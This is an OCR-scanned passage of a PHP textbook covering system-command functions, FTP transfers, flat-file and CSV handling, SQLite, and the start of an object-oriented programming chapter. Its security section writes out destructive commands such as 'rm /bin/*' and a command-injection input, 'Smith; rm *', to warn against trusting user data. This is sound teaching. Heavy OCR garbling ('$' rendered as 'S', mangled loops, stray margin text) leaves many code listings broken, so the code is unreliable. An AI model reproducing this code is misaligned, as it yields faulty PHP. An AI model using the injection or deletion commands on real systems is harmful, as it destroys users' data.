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When this statement executes, the directory listing is displayed, and
$result contains the last line that was output from the command. If you
echo $result, you see something like the following:

11 Dir(s) 566,263,808 bytes free

The contents of $result with the system function is the last line of the
output from the dir command.

Using the exec function

The exec function executes a system command but doesn’t display the
output. Instead, the output can be stored in an array, with each line of the
output becoming an element in the array. The last line of the output is
returned.

Perhaps you just want to know how many files and free bytes are in a direc-
tory. With the following statement, you execute a command without saving
the output in an array:

Sresult = exec("dir c:\php");

The command executes, but the output isn’t displayed. The variable
$result contains the last line of the output. If you echo $result, the dis-
play looks something like this:

11 Dir(s) 566,263,808 bytes free

The output is the last line of the output of the dir command. If you want to
store the entire output from the dir command in an array, use the following
command:

Sresult = exec("dir c:\php", Sdirout) ;

After this statement, the array sdirout contains the directory listing, with
one line per item. You can display the directory listing as follows:

foreach ($dirout as $line)
{
echo "$line\n";
}
The loop displays the following:

Volume in drive C has no label.
Volume Serial Number is 394E-15E5

Directory of c:\php
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10/10/2013 05:43 PM <DIR>

10/10/2013 05:43 PM <DIR> ..
10/10/2013 04:53 pPM <DIR> dev
10/10/2013 04:53 PM <DIR> ext
10/10/2013 04:53 PM <DIR> extras
08/30/2013 07:11 AM 417,792 fdftk.dll

You can also use the following statements to get specific elements from the
output array:

echo S$dirout[3];
echo $dirout[7];

The output is as follows:

Directory of C:\PHP
10/10/2013 04:53 PM <DIR> dev

Using the passthru function

The passthru function executes a system command and displays the
output exactly as it is returned. To execute a system command, use the fol-
lowing statement:

passthru("dir c:\php");

The statement displays the directory listing but doesn’t return anything.
Therefore, you don’t use a variable to store the returned data.

The output is displayed in raw form; it isn’t processed. Therefore, this func-
tion can be used when binary output is expected.

Accessing error messages from system commands

The methods for executing system commands do not display or return an
informational error message when the system command fails. You know
the system command didn’t work because you didn’t get the outcome you
expected. But because the functions don’t return error messages, you don’t
know what went wrong.

You can return or display the operating system error message by adding
a few extra characters to the system command you’re executing. On most
operating systems, if you add the characters 2>&1 after the system com-
mand, the error message is sent to wherever the output is directed. For
example, you can use the following statement:

Sresult = system("di c:\php");
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The system function displays the directory when the system command
executes. However, notice that dir is mistyped. It is di rather than dir. No
system command called di exists, so the system command can’t execute,
and nothing is displayed. Suppose you used the following statement instead:

Sresult = system("di c:\php 2>&1");

In this case, the error message is displayed. On Windows, the error message
displayed is as follows:

'di' is not recognized as an internal or external command,
operable program or batch file.

Be sure you don’t include any spaces in 2>&1. The format requires the char-
acters together, without any spaces.

Understanding security issues

When you execute a system command, you allow a user to perform an action
on your computer. If the system command is dir c:\php, that’s okay.
However, if the system command is rm /bin/* or del c:\*.*, youwon’t
be happy with the results. You need to be careful when using the functions
that execute system commands outside your script.

As long as you execute only commands that you write yourself, such as dir
or 1s, you're okay. But when you start executing commands that include
data sent by users, you need to be extremely careful. For example, suppose
you have an application in which users type a name into a form and your
application then creates a directory with the name sent by the user. The
user types Smith into the form field named directoryName. Your script
that processes the form has a command, as follows:

SdirectoryName = $_POST['directoryName'];
exec ("mkdir $directoryName") ;

Because sdirectoryName = Smith,mkdir Smith is the system com-
mand that is executed. The directory is created, and everybody is happy.

However, suppose the user types Smith; rm * into the form. In this case,
$directoryName =Smith;rm *.The system command that executes is now
mkdir Smith;rm *.On many operating systems, such as Unix and Linux,
the semicolon character separates two commands so that two commands
can be entered on one line. Oops! The commands are executed as follows:

mkdir Smith
rm *
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Now you have a problem. The directory Smith is created, and all the files in
the current directory are removed.

If you use a variable in a system command, you must use it carefully. You
must know where it came from. If it comes from outside the script, you need
to check the value in the variable before using it. In the preceding example,
you could add code so the script checks the variable to be sure it contains
only letters and numbers before using it in the mkdir command. (Chapter 2
in this minibook describes how to use an if statement to perform such
checks.)

Using FTP

Transferring files from one computer to another happens a gazillion times a
day on the Internet. When colleagues on opposite sides of the country need
to share files, it isn’t a problem. A quick transfer takes only seconds, and all
parties have the files they need.

File Transfer Protocol (FTP) is a common way to transfer files from one
computer to another. FTP allows you to get a directory listing from another
computer or to download or upload a single file or several files at once.

FTP is client/server software. To use FTP to transfer files between your
computer and a remote computer, you connect to an FTP server on the
remote computer and send it requests.

It’s worth noting that FTP is inherently insecure, and not in a way that therapy
will help. When you use FTP, your username, password, and the files them-
selves are passed over the network without encryption. This means that
someone with enough knowledge and access to your network could “sniff”
the username and password. If you're looking for a more secure method for
transferring files, look to the SCP or SFTP commands. That said, FTP is still
in wide use, especially for hosting providers.

To use FTP in your scripts, FTP support needs to be enabled when PHP is
installed. If you installed PHP for Windows, you don’t need to do anything
extra to enable FTP support. If you're compiling PHP on Unix, Linux, or Mac
and you want to enable FTP support, you can use the FTP support installation
option, as follows:

--enable-ftp
In this section, we tell you what you need to know about logging in to your

FTP server, accessing a directory listing, transferring files to and from the
FTP server, and using various functions to accomplish FTP-related tasks.
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Logging in to the FTP server

To connect to the FTP server on the computer you want to exchange files
with, use the ftp_connect function, as follows:

Sconnect = ftp_connect ("janet.valade.com") ;
Or, you can connect by using an IP address, as follows:
Sconnect = ftp_connect("172.17.204.2");

After you connect, you must log in to the FTP server. You need a user ID and
a password to log in. You might have your own personal ID and password,

or you might be using a general ID and password that anyone can use. Some
public sites on the Internet let anyone log in by using the user ID of anonymous
and the user’s e-mail address as the password. It’s best for security to put
the user ID and password into a separate file and to include the file when
needed.

The ftp_login function enables you to log in to an FTP server after you've
made the connection. This statement assumes you have your account ID and
password stored in variables, as follows:

$login_result = ftp_login($connect, Suserid, Spasswd) ;

If you try to log in without establishing a connection to the FTP server first,
you see the following warning:

Warning: ftp_login() expects parameter 1 to be resource,
boolean given in d:\testl\testl3.php on line 9

The warning doesn’t stop the program. The login fails, but the script con-
tinues, which probably isn’t what you want. Because the rest of your script
probably depends on your successful FTP connection, you might want to
stop the script if the functions fail. The following statements stop the script
if the function fails:

Sconnect = ftp_connect ("janet.valade.com")
or die("Can't connect to server");
$login_result = ftp_login($connect, Suserid, $passwd)

or die("Can't login to server");

After you log in to the FTP server, you can send it requests to accomplish
tasks, such as getting a directory listing or uploading and downloading files,
as described in the following sections.
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Getting a directory listing

One common task is to get a directory listing. The ftp_nlist statement
gets a directory listing from the remote computer and stores it in an array,
as follows:

sfilesArr = ftp_nlist($Sconnect, "data");

The second parameter in the parentheses is the name of the directory. If
you don’t know the name of the directory, you can request the FTP server to
send you the name of the current directory, as follows:

Sdirectory_name = ftp_pwd(Sconnect) ;
S$filesArr = ftp_nlist(Sconnect, $directory name) ;

The directory listing that FTP sends after the ftp_nlist statement runs is
stored in an array, one filename in each element of the array. You can then
display the directory listing from the array, as follows:

foreach($filesArr as S$value)

{

echo "S$value\n";

}

Downloading and uploading files with FTP

You can download a file from the remote computer with the ftp_get func-
tion. The following statement downloads a file from the remote computer
after you're logged in to the FTP server:

ftp_get (Sconnect, "newfile. txt","data. txt",FTP_ASCII) ;

The first filename, newfile. txt, is the name the file will have on your com-
puter after it’s downloaded. The second filename, data. txt, is the existing
name of the file that you want to download.

The FTP_ASCII term in the statement tells FTP what kind of file is being
downloaded. Here are the choices for file mode:

4 FTP_ASCII: These are text files.

4+ FTP_BINARY: Machine language files, basically anything that isn’t plain
text.

You can determine which file mode you need by examining the contents of
the file. If the contents are characters that you can read and understand, the
file is ASCIL If the contents appear to be garbage, the file is binary. Graphic
files, for example, are binary.
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You can upload a file with a similar function called £tp_put. The following
statement uploads a file:

ftp_put (Sconnect, "newfile. txt", "data.txt",FTP_ASCII) ;

The first filename, newfile. txt, is the name the file will have on the
remote computer after it’s uploaded. The second filename, data. txt, is the
existing name of the file that you want to upload.

When you’re finished transferring files over your FTP connection, you can
close the connection with the following statement:

ftp_close(Sconnect) ;
The script in Listing 3-2 downloads all the files in a directory that have a

. txt extension. The files are downloaded from the remote computer over
an FTP connection.

Listing 3-2: A Script to Download Files via FTP

<?php
/* Script name: downloadFiles
* Description: Downloads all the files with a .txt

* extension in a directory via FTP.
*/
include("ftpstuff.inc");
$dir_name = "data/";
Sconnect = ftp_connect (Sservername)

or die("Can't connect to FTP server");
$login_result = ftp_login(Sconnect, SuserID, Spasswd)
or die("Can't log in");
SfilesArr = ftp_nlist($Sconnect, $dir_name) ;
foreach($filesArr as S$Svalue)
{
if (preg_match ("#\.txtS$#", Svalue))
{
if(!file_exists(S$value))
{
ftp_get (Sconnect, $Svalue, $dir_name.S$Svalue, FTP_ASCII) ;
}
else
{
echo "File $value already exists!\n";
}
}
}

ftp_close(Sconnect) ;
?>
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The script gets a directory listing from the remote computer and stores it in
$filesArr. The foreach statement loops through the filenames in $files
Arr and checks to see whether each file has a . txt extension. When a file
has a . txt extension, the script tests to see whether a file with the same
name already exists on the local computer. If a file with that name doesn’t
already exist, the file is downloaded; if such a file does exist, a message is
printed, and the file isn’t downloaded.

The script in Listing 3-2 includes a file named ftpstuff.inc. This file
contains the information needed to connect to the server with FTP. The
ftpstuff.inc file contains code similar to the following:

<?php
Sservername = "yourserver";
SuserID = "youruserid";
Spasswd = "yourpassword";
?>

Looking at other FTP functions

Additional FTP functions perform other actions, such as change to another
directory on the remote computer or create a new directory on the remote
computer. Table 3-2 contains most of the FTP functions that are available.

Table 3-2 FTP Functions

Function

What It Does

ftp_cdup (Sconnect)

Changes to the directory directly
above the current directory.

ftp_chdir ($Sconnect,
"directoryname")

Changes directories on the remote
computer.

ftp_close($connect)

Closes an FTP connection.

ftp_connect ("servername")

Opens a connection to the computer.
servername can be a domain name
or an IP address.

ftp_delete(Sconnect, "path/
filename")

Deletes a file on the remote
computer.

ftp_exec
(Sconnect, "command")

Executes a system command on the
remote computer.

ftp_
fget ($connect, $fh, "data.
txt",FTP_ASCII)

Downloads the file contents from the
remote computer into an open file.
$fhis the file handle of the open file.
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Function

What It Does

ftp_fput (Sconnect, "new.
txt",S$fth,FTP_ASCII)

Uploads an open file to the remote
computer. $ £his the file handle of the
open file.

ftp_get ($connect, "d.
txt","sr.txt",FTP_ASCII)

Downloads a file from the remote
computer. sr. txt is the name of the
file to be downloaded, and d. txt is
the name of the downloaded file.

ftp_login (Sconnect, SuserID
, Spassword)

Logs in to the FTP server.

ftp_mdtm (Sconnect,
"filename.txt")

Gets the time when the file was last
modified.

ftp_mkdir (Sconnect,
"directoryname")

Creates a new directory on the remote
computer.

ftp_nlist (Sconnect,
"directoryname")

Gets a list of the files in a remote
directory. Files are returned in an
array.

ftp_put ($Sconnect, "d.
txt", "sr.txt",FTP_ASCII)

Uploads a file to the remote computer.
sr.txt is the name of the file to be
uploaded, and 4. txt is the filename
on the remote computer.

ftp_pwd ($Sconnect)

Gets the name of the current directory
on the remote computer.

ftp_rename (Sconnect, "oldna
me" , "newname")

Renames a file on the remote computer.

ftp_rmdir ($Sconnect,
"directoryname")

Deletes a directory on the remote
computer.

ftp_
size(Sconnect, "filename.
txt")

Returns the size of the file on the
remote computer.

ftp_systype (Sconnect)

Returns the system type of the remote
file server (for example, Unix).

Reading and Writing Files

This book includes information about using PHP and MySQL together. In
most applications, you store the data needed by the application in a MySQL
database. However, occasionally you need to read or write information in a
text file that isn’t a database. This section describes how to read and write

data in a text file, also called a flat file.
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You use PHP statements to read from or write to a flat file.
Using a flat file requires three steps:

1. Open the file.
2. Write data into the file or retrieve data from the file.
3. Close the file.

These steps are discussed in detail in the following sections.

Accessing files

The first step, before you can write information into or read information
from a file, is to open the file. The following is the general format for the
statement that opens a file:

Sfh = fopen("filename", "mode")

The variable, $£h, referred to as a file handle, is used in the statements that

write data to or read data from the open file so that PHP knows which file to
write into or read from. The $fh variable contains the information that iden-
tifies the location of the open file.

You use a mode when you open the file to let PHP know what you intend to
do with the file. Table 3-3 shows the modes you can use.

Table 3-3 Modes for Opening a File
Mode What It Does What Happens When the File Doesn’t
Exist
r Read only. A warning message is displayed.
r+ Reading and writing. A warning message is displayed.
w Write only. PHP attempts to create it. (If the file exists,
PHP overwrites it.)
w+ Reading and writing. PHP attempts to create it. (If the file exists,
PHP overwrites it.)
a Append data at the end PHP attempts to create it.
of the file.
a+ Reading and appending. PHP attempts to create it.
CMBER . . . .
D The filename can be a simple filename (filename. txt), a path to the
<

file (c:/data/filename. txt), or aURL (http://yoursite.com/
filename. txt).



WING/

&@

Reading and Writing Files 385

Opening files in read mode

You can open the file filel. txt to read the information in the file with the
following statement:

$fh = fopen("filel.txt","r");

Based on this statement, PHP looks for filel.txt in the current directory,
which is the directory where your PHP script is located. If the file can’t be
found, a warning message, similar to the following, might or might not be
displayed, depending on the error level set, as described in Chapter 1 of this
minibook:

Warning: fopen(filel.txt): failed to open stream: No such
file or directory in d:\test2.php on line 15

Remember, a warning condition doesn’t stop the script. The script continues
to run, but the file doesn’t open, so any later statements that read or write to
the file aren’t executed.

You probably want the script to stop if the file can’t be opened. You need to
do this yourself with a die statement, as follows:

$fh = fopen("filel.txt","r")
or die("Can't open file");

The die statement stops the script and displays the specified message.

Opening files in write mode

You can open a file in a specified directory to store information by using the
following type of statement:

$fh = fopen("c:/testdir/filel.txt","w");

If the file doesn’t exist, it is created in the indicated directory. However, if
the directory doesn’t exist, the directory isn’t created, and a warning is dis-
played. (You must create the directory before you try to write a file into the
directory.)

You can check whether a directory exists before you try to write a file into it
by using the following statements:

If(is_dir("c:/tester"))
{
$fh = fopen("c:/testdir/filel.txt","w");

}

With these statements, the fopen statement is executed only if the path/
filename exists and is a directory.
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Opening files on another website

You can also open a file on another website by using a statement such as the
following:

sfh = fopen("http://janet.valade.com/index.html","r");

You can use a URL only with a read mode, not with a write mode, and there
are better ways to do this — namely, the cURL functions. See the PHP
manual at http: //php.net/manual/en/book.curl.php for more infor-
mation on the cURL functions.

Closing a file
To close a file after you have finished reading or writing it, use the following
statement:

fclose($th);

In this statement, $fh is the file handle variable you created when you
opened the file.

Writing to a file
After you open the file, you can write into it by using the fwrite statement,
which has the following general format:

fwrite ($fh, datatosave) ;

In this statement, $fh is the file handle that you created when you opened
the file containing the pointer to the open file, and datatosave is the infor-
mation to be stored in the file. The information can be a string or a variable.
For example, you can use the following statements:

Stoday = date("Y-m-d4d");

sfh = fopen("file2.txt","a");
fwrite($fh, "Stoday\n") ;
fclose($th);

These statements store the current date in a file called £ile2. txt. Notice
that the file is opened in append mode (). If the file doesn’t exist, it is cre-
ated, and the date is written as the first line. If the file exists, the date is
added to the end of the file. In this way, you create a log file that stores a list
of the dates on which the script is run. The fwrite statement stores exactly
what you send. After the fwrite statement executes twice, file2.txt
contains:

2013-10-22
2013-10-22
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The dates appear on separate lines because the new line character (\n) is
written to the file.

Be sure to open the file with the a mode if you want to add information to a
file. If you use a write mode, the file is overwritten each time it’s opened.

Reading from a file

You can read from a file by using the fgets statement, which has the following
general format:

$line = fgets($fh)

In this statement, $fh holds the pointer to the open file. This statement reads
a string until it encounters the end of the line or the end of the file, whichever
comes first, and stores the string in $1ine. To read an entire file, you keep
reading lines until you get to the end of the file. PHP recognizes the end of the
file and provides a function feof to tell you when you reach the end of the
file. The following statements read and display all the lines in the file:

while(!feof ($fh))

{
Sline = fgets($fh);
echo "$line";

}

In the first line, feof ($£h) returns true when the end of the file is reached.
The exclamation point negates the condition being tested, so that the while
statement continues to run as long as the end of the file isn’t reached. When

the end of the file is reached, while stops.

If you use these statements to read the log file created in the preceding
section, you get the following output:

2013-10-22
2013-10-22

As you can see, the new line character is included when the line is read.
In some cases, you don’t want the end of line included. If so, you need to
remove it by using the following statements:

while(!feof ($fh))

{
$line = rtrim(fgets($fh));
echo "S$line";
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The rtrim function removes any trailing blank spaces and the new line
character. The output from these statements is as follows:

2013-10-222013-10-22

Reading files piece by piece
Sometimes you want to read strings of a certain size from a file. You can tell
fgets to read a certain number of characters by using the following format:

$line = fgets($fh,n)

This statement tells PHP to read a string that is n-1 characters long until it
reaches the end of the line or the end of the file.

For example, you can use the following statements:

while(!feof ($fh))

{
Schar4d = fgets($fh,5);
echo "S$char4\n";

}

These statements read each four-character string until the end of the file.
The output is as follows:

2013
~10-
22

2013
-10-
22

Notice that there’s a new line at the end of each line of the file.

Reading a file into an array

It’s often handy to have the entire file in an array. You can do that with the
following statements:

$fh = fopen("file2.txt","r");
while(!feof ($fh))
{

Scontent[] = fgets($fh);

}
fclose($th);

The result is the array $content with each line of the file as an element of
the array. The array keys are numbers.
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PHP provides a shortcut function for opening a file and reading the entire
contents into an array, one line in each element of the array. The following
statement produces the same results as the preceding five lines:

Scontent = file("file2.txt");

The statement opens file2. txt, puts each line into an element of the array
$content, and then closes the file.

The £ile function can slow down your script if the file you'’re opening

is really large. How large depends on the amount of available computer
memory. If your script seems slow, try reading the file with fgets rather
than file and see whether that speeds up the script.

You can direct the £ile function to automatically open files in your
include directory (described in Chapter 2 of this minibook) by using the
following statement:

Scontent = file("file2.txt",1);
The 1 tells PHP to look for £ile2. txt in the include directory rather than

in the current directory.

Reading a file into a string

Sometimes putting the entire contents of a file into one long string can be
useful. For example, you might want to send the file contents in an e-mail
message. PHP provides a function for reading a file into a string, as follows:

Scontent = file_get_contents("file2.txt",1);

The file_get_contents function works the same as the £ile function,
except that it puts the entire contents of the file into a string rather than an
array. After this statement, you can echo $Scontent as follows:

echo S$content;

The output is the following:

2013-10-22
2013-10-22

The output appears on separate lines because the end-of-line characters are
read and stored as part of the string. Thus, when you echo the string, you
also echo the end-of-line characters, which start a new line.

The file_get_contents function was introduced in version 4.3.0. It isn’t
available in older versions of PHP.
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Exchanging Data with Other Programs

You might sometimes need to provide information to other programs or
read information into PHP from other programs. Flat files are particularly
useful for such a task, and we explain how to perform that kind of task here.

Exchanging data in flat files

Almost all software has the capability to read information from flat files or
write information into flat files. For example, by default, your word processor
saves your documents in its own format, which only the word processor can
understand. However, you can choose to save the document in text format
instead. The text document is a flat file containing text that can be read by
other software. Your word processor can also read text files, even ones that
were written by other software.

When your PHP script saves information into a text file, the information can
be read by any software that has the capability to read text files. For example,
text files can be read by most word processing software. However, some
software requires a specific format in the text file. For example, an address
book software application might read data from a flat file but require the
information to be in specified locations — for example, the first 20 characters
in a line are read as the name, the next 20 characters are read as the street
address, and so on. You need to know what format the software requires in
a flat file. Then write the flat file in the correct format in your PHP script by
using fwrite statements, as discussed in the section “Writing to a file,”
earlier in this chapter.

Exchanging data in comma-delimited format

A comma-separated values (CSV) file — also called a comma-delimited file —
is a common format used to transfer information between software programs.

Understanding comma-delimited format

A CSV file is used to transfer information that can be structured as a table,
organized as rows and columns. For example, spreadsheet programs orga-
nize data as rows and columns and can read and write CSV files. A CSV file is
also often used to transfer data between different database software, such as
between MySQL and Microsoft Access. Many other software programs can
read and write data in CSV files.

A CSV file is organized with each row of the table on a separate line in the
file, and the columns in the row are separated by commas. For example, an
address book can be organized as a CSV file, as follows:

John Smith, 1234 Oak St.,Big City,OR, 99999
Mary Jones,5678 Pine St.,Bigger City,ME, 11111
Luis Rojas, 1234 Elm St.,Biggest City,TX, 88888
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Excel can read this file into a table with five columns. The comma signals the
end of one column and the start of the next.

Creating a comma-delimited file
The following PHP statements create the CSV file:

Saddress "John Smith,1234 Oak St.,Big City,OR,99999";
Saddress "Mary Jones, 5678 Pine St.,Bigger City,ME,11111";
Saddress[] = "Luis Rojas, 1234 Elm St.,Biggest City,TX,88888";
$fh = fopen("addressbook.txt","a");

for ($1i=0;S$1<3;$i++)

{

(1 =
(1 =

fwrite ($fh, $address[$i]."\n");

}
fclose($£th);

Reading a comma-delimited file

PHP can read the CSV file by using either the file or the fgets function, as
described in the section “Reading a file into an array,” earlier in this chapter.
However, PHP provides a function called fgetcsv that’s designed specifically
to read CSV files. When you use this function to read a line in a CSV file, the
line is stored in an array, with each column entry in an element of the array.
For example, you can use the function to read the first line of the address
book CSV file, as shown here:

Saddress = fgetcsv($fh,1000);

In this statement, $fh is the file handle, and 1000 is the number of characters
to read. To read an entire line, use a number of characters that is longer
than the longest line. The result of this statement is an array, as follows:

Saddress[0] = John Smith
Saddress[1l] = 1234 Oak St.
Saddress[2] = Big City
Saddress[3] = OR
Saddress[4] = 99999

Using other delimiters

The CSV file works well for transferring data in many cases. However, if a
comma is part of the data, commas can’t be used to separate the columns.
For example, suppose one of the data lines is this:

Smith Company, Inc.,1234 Fir St.,Big City,OR, 99999
The comma in the company name would divide the data into two columns —

Smith Company in the first and Inc. in the second — making six columns
instead of five.
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<P When the data contains commas, you can use a different character to sepa-
rate the columns. For example, tabs are commonly used to separate col-
umns. This file is called a tab-separated values (TSV) file, or a tab-delimited
file. You can write a tab-delimited file by storing "\t " rather than a comma
in the output file.

You can read a file containing tabs by specifying the column separator in the
statement, as follows:

Saddress = fgetcsv($fth,1000,"\t");
You can use any character to separate columns.

The script in Listing 3-3 contains a function that converts any CSV file into a
tab-delimited file.

Listing 3-3: A Script That Converts a CSV File into a Tab-Delimited File

<?php
/* Script name: Convert
* Description: Reads in a CSV file and outputs a
* tab-delimited file. The CSV file must have a
* .CSV extension.

*/
Smyfile = "testing"; —7
function convert ($filename) —8
{
if( @$fh_in = fopen("{$filename}.csv","r")) —10
{
$fh_out = fopen("{$filename}.tsv","a"); —12
while( !'feof ($fh_in)) —13
{
$line = fgetcsv($fh_in,1024); —15
if( $line[0] == "") —16
{
fwrite($fh_out, "\n");
}
else { —20
fwrite($Sfh_out,implode($line, "\t")."\n"); —21

}
}
fclose($fh_in);
fclose($fh_out) ;
}
else { —27
echo "File doesn't exist\n";
return false;

}
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echo "Conversion completed!\n";

return true; —32
}
convert (Smyfile) ; —34

?>

The following points refer to the line numbers in the Listing 3-3:

—7

—8

—10

—12

—13
—15

—16

—20

—21

—27

—32
—34

This line defines the filename as testing.

This line defines a function named convert () with one parameter,
$filename.

This line opens a file that has the filename that was passed to the
function with a . csv extension. The file is opened in read mode.
If the file is opened successfully, the conversion statements in the
if block are executed. If the file isn’t found, the else block
beginning on Line 27 is executed.

This line opens a file that has the filename that was passed to

the function with a . tsv extension. The file is opened in append
mode. The file is in the current directory in this script. If the file is
in another directory where you think there is any possibility the
file might not open in write mode, use an i f statement here to
test where the file opened and perform some action if it did not.

This line starts a while loop that continues to the end of the file.

This statement reads one line from the input file into the array
$1ine. Each column entry is stored in an element of the array.

This statement tests whether the line from the input file has any
text on it. If the line doesn’t have any text, a new line character is
stored in the output file. Thus, any empty lines in the input file are
stored in the output file.

If the line from the input file isn’t empty, it’s converted to a tab-
delimited format and written into the output file.

This statement converts the line and writes it to the output file in
one statement. The implode function converts the array $line
into a string, with the elements separated by a tab.

This else block executes when the input file can’t be found. An
error message is echoed, and the function returns false.

The function has completed successfully, so it returns true.

This line calls the function, passing a filename to the function in
the variable Smyfile.
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Using SOLite

Beginning with PHP 5.0, PHP includes the SQLite software by default. SQLite
is designed to store data in a flat file using SQL queries. (SQL is explained in
Book V, Chapter 1.)

SQLite is a quick, easy way to store data in a flat file. However, it’s less
secure than a database and can’t handle complex data. In most cases, you
should store your data in MySQL, but you occasionally might want to store
your data in a flat file. For example, you might want to write the data in a
format that can be read by another program, such as Excel.

Storing and retrieving data with SQLite is similar to the methods described
in Book V for using MySQL with PHP. You use SQL to communicate with the
data file and use PHP functions to send the SQL and retrieve the data. You
interact with the data by using the same steps that you use with a database,
as follows:

Connect to the data file.
Send an SQL query.

If you retrieved data from the data file, process the data.

AW DN =

Close the connection to the data file.

Here are more details on how to complete each of those steps.
To connect to the data file, use the following PHP function:
$db = sglite_open("testdb") ;

This statement opens the data file testdb. If the file doesn’t exist, the func-
tion creates it.

To send an SQL query, use the sqlite_guery function, as follows:

$sgl = "SELECT * FROM Product";
Sresult = sqglite_query($db, $Ssql) ;

The retrieved data is stored in a temporary table in rows and columns. You
can use PHP functions to retrieve one row from the temporary data table
and store it in an array, with the field names as the array keys. The state-
ment is as follows:

Srow = sqglite_fetch_array(Sresult);
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After this statement, $row is an array containing all the fields in the tempo-
rary table, such as the following:

Srow['firstName'] = John
Srow['lastName'] = Smith

To process all the data in the temporary table, you can use a loop to get one
row at a time, processing each row until the end of the table is reached, as
follows:

while (Srow=sglite_fetch_asoc (Sresult))

{

foreach ($row as Svalue)

{

echo "S$Svalue<br />";
}
}

When you finish storing and/or retrieving data, you can close the data file
with the following statement:

sglite_close ($db) ;

Error handling for SQLite is similar to MySQL error handling, as explained in
Book V, Chapter 5. Also, as discussed in that chapter, when the query fails,
an SQLite error message is generated, but not displayed unless you use a
function developed specifically to display it. Thus, the following statements
handle errors in addition to sending the SQL query:

$sgl = "SELECT * FROM Product";
Sresult = sglite_query(S$sqgl)
or die("Query failed: ".sglite_error());

Srow = sqglite_fetch_array (Sresult) ;

Most of the information in Book V about MySQL applies to the use of SQLite
as well. What makes SQLite different is that the data is stored in a flat file,
rather than stored by MySQL in files that are unique to MySQL.

Book IV
Chapter 3

wajsAg bunesadg

INOA pue dHd



396 Book 1v: PHP



Chapter 4: Object-Oriented
Programming

In This Chapter

v+~ Understanding object-oriented programming
v+~ Planning an object-oriented script

v Defining and writing classes

+~ Dealing with errors by using exceptions

v+~ Copying, comparing, and destroying objects

Object-oriented programming (OOP) is an approach to programming that
uses objects and classes. It’s in widespread use today, with many uni-
versities teaching object-oriented programming in beginning programming
classes. Currently, Java and C++ are prevalent languages used for object-
oriented programming.

Object-oriented programming, with a limited feature set, is possible in PHP 4.
With PHP 5, the object-oriented capabilities of PHP were greatly improved, with
both more speed and added features. The information and sample scripts in
this chapter are written for PHP 5. Features that aren’t available in PHP 4 are
noted.

This chapter introduces object-oriented programming with a specific focus
on how to use OOP concepts as they apply to PHP.

Introducing Object-Oriented Programming

Object-oriented programming, sometimes shortened to OOP, isn’t just a
matter of using different syntax. It’s a different way of analyzing program-
ming problems. The application is designed by modeling the programming
problem. For example, a programmer designing an application to support
a company’s sales department might look at the programming project in
terms of the relationships between customers and sales and credit lines —
in other words, in terms of the design of the sales department itself.

In object-oriented programming, the elements of a script are objects. The
objects represent the elements of the problem your script is meant to solve.
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For example, if the script is related to a used-car lot, the objects are probably
cars and customers. Or if the script is related to outer space, the objects
would probably be stars and planets.

Object-oriented programming developed new concepts and new terminology
to represent those concepts. Understanding the terminology is the road to
understanding object-oriented programming, and we explain that terminology
to you here.

Objects and classes

The basic elements of object-oriented programs are objects. It’s easiest to
understand objects as physical objects. For example, a car is an object. A car
has properties (also called attributes), such as color, model, engine, and tires.
A car has things it can do, too, such as move forward, move backward, park,
roll over, and play dead (well, ours does anyway).

In general, objects are nouns. A person is an object. So are animals, houses,
offices, garbage cans, coats, clouds, planets, and buttons. However, objects
are not just physical objects. Like nouns, objects often are more conceptual.
For example, a bank account isn’t something you can hold in your hand, but
it can be considered an object. So can a computer account or a mortgage. A
file is often an object. So is a database. E-mail messages, addresses, songs,
TV shows, meetings, and dates can all be objects. Objects in web applica-
tions might be catalogs, catalog items, shopping carts, customers, orders, or
customer lists.

A class is the PHP code that serves as the template, or the pattern, that is
used to create an object. The class defines the properties, the attributes, of
the object. It also defines the things the object can do — its responsibilities.
For example, you write a class that defines a car as four wheels and an engine,
and the class lists the things a car can do, such as move forward and park.
Then, given that class, you can write a statement similar to the following
that creates a car object:

$SmyCar = new Car () ;

The object $myCar is created from the definition in the class Car. Your
new car has four wheels and an engine and can move forward and park, as
defined in the class Car. When you use your car object $SmyCar, you might
find that it’s missing a few important things, such as a door, or a steering
wheel, or a reverse gear. That’s because you left an important item out of
the class Car when you wrote it.

From a more technical point of view, an object is a complex, user-defined data
type. The process of creating an object from a class is called instantiation. An
object is an instance of a class. For instance, $myCar is an instance of the
class Ccar.
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As the person who writes a class, you know how things work inside the
class. However, the person who uses an object created from the class
doesn’t need to know how an object accomplishes its responsibilities. Most
people have no clue how a telephone object works, but they can use it to
make a phone call. The person who built the telephone knows what’s hap-
pening inside it. When there’s new technology, the phone builder can open
a phone and improve it. As long as he doesn’t change the interface — the
keypad and buttons — it doesn’t affect the use of the phone at all.

Properties

Objects have properties, also sometimes called attributes. A car may be red,
green, or covered in polka dots — a color property. Properties — such as
color, size, or model for a car — are stored inside the object. Properties are
set up in the class as variables. For example, the color attribute is stored in
the object in a variable, given a descriptive name such as $color. Thus, the
car object SmyCar might contain $Scolor = red.

The variables that store properties can have default values, can be given
values when the object is created, or values can be added or modified later.
For example, a SmyCar object is created red, but when it’s painted later, the
$color property is changed to chartreuse.

Methods

The things objects can do are sometimes referred to as responsibilities. For
example, a Car object can move forward, stop, back up, and park. Each thing
an object can do — each responsibility — is programmed into the class and
called a method.

In PHP, methods use the same syntax as functions. Although the code looks
like the code for a function, the distinction is that methods are inside a class.
It can’t be called independently of an object. PHP won’t allow it. This type of
function can perform its task only when called with an object.

When creating methods, give them names that are descriptive of what they
do. For instance, a customerOrder class might have methods such as
displayOrder, getTotalCost, computeSalesTax, and cancelOrder
Methods, like other PHP entities, can be named with any valid name, but
they’re often named with camel caps, by convention, as shown here.

The methods are the interface between the object and the rest of the world.
The object needs methods for all its responsibilities. Objects should interact
with the outside world only through their methods. For example, suppose
your object is a catalogItem that is for sale. One of its properties is Sprice.
You don’t want Sprice to be easily changed by a simple statement, such as

Sprice = 10;
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Instead, you want a method, called changePrice, that is the only way the
price can be edited. The method includes checks to be sure that only legiti-
mate users can use it to change the price.

A good object should contain all it needs to perform its responsibilities, but
not a lot of extraneous data. It shouldn’t perform actions that are another
object’s responsibility. The car object should travel and should have every-
thing it needs to perform its responsibilities, such as gas, oil, tires, engine,
and so on. The car object shouldn’t cook and doesn’t need to have salt or
frying pans. Nor should the cook object carry the kids to soccer practice.

Inheritance

Objects should contain only the properties and methods they need. No
more. No less. One way to accomplish that is to share properties and meth-
ods between classes by using inheritance. For example, suppose you have
two rose objects: one with white roses and one with red roses. You could
write two classes: a redRose class and a whiteRose class. However, a lot
of the information is the same for both objects. Both are bushes, both are
thorny, and both bloom in June. Inheritance enables you to eliminate the
duplication.

You can write one class called Rose. You can store the common information
in this class, such as $plant = bush, $stem = thorns, and $blooms =
June. Then you can write subclasses for the two rose types. The Rose class
